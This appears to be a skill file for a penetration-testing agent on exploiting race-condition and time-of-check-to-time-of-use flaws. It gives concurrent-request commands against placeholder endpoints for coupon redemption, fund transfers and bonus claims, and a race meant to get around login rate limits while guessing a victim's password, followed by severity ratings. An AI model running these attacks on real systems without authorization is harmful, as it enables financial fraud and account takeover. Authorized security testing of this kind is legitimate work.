attack-race-condition

Testing & Quality

Race condition / TOCTOU testing — concurrent requests to exploit time-of-check-to-time-of-use flaws

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Source SKILL.md: https://github.com/CyberStrikeus/CyberStrike/blob/HEAD/.cyberstrike/skill/attack-race-condition/SKILL.md

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Race Condition / TOCTOU Attack

Objective

Exploit time-of-check-to-time-of-use (TOCTOU) vulnerabilities by sending concurrent requests that bypass server-side validation.

Testing Methodology

Phase 1: Identify Targets

State-changing operations vulnerable to race conditions:

Coupon/promo code redemption
Fund transfers / payments
Vote/like systems
Account creation (duplicate)
Inventory purchase
Password/email change
File operations

Phase 2: Automated Race Testing

# Basic race test — 20 concurrent POST requests
attack_script race_tester "https://TARGET/api/redeem" \
  -m POST \
  -H "Authorization:Bearer TOKEN" \
  -d '{"coupon":"DISCOUNT50"}' \
  -c 20 \
  --json-output

# With delay (staggered)
attack_script race_tester "https://TARGET/api/transfer" \
  -m POST \
  -H "Authorization:Bearer TOKEN" \
  -d '{"to":"attacker","amount":100}' \
  -c 50 \
  --delay 5

Phase 3: Single-Packet Attack (Turbo Intruder)

For critical timing, send all requests in a single TCP packet:

# Using curl with parallel connections
for i in $(seq 1 20); do
  curl -s -X POST https://TARGET/api/redeem \
    -H "Authorization: Bearer TOKEN" \
    -d '{"coupon":"DISCOUNT50"}' &
done
wait

Phase 4: Analysis

Look for:

Multiple successful responses (coupon applied 2+ times)
Balance inconsistencies
Duplicate records created
Response length/status variations indicating multiple successes

Phase 5: Limit Bypass Race

# Race on rate-limited endpoint
attack_script race_tester "https://TARGET/api/login" \
  -m POST \
  -d '{"email":"victim@test.com","password":"guess1"}' \
  -c 30

# Race on one-time action
attack_script race_tester "https://TARGET/api/claim-bonus" \
  -m POST \
  -H "Authorization:Bearer TOKEN" \
  -c 20

What Constitutes a Finding

Finding	Severity
Financial: double-spend, duplicate transfer	Critical (P1)
Coupon/code reused multiple times	High (P2)
Rate limit bypassed via race	Medium (P3)
Duplicate record creation	Medium (P3)
Vote/like manipulation	Low (P4)

Evidence Requirements

Target endpoint and parameters
Number of concurrent requests
Multiple successful responses proving race succeeded
Business impact (e.g., coupon applied twice, balance doubled)
Status code distribution from race test

Tools

attack_script race_tester — async concurrent request sender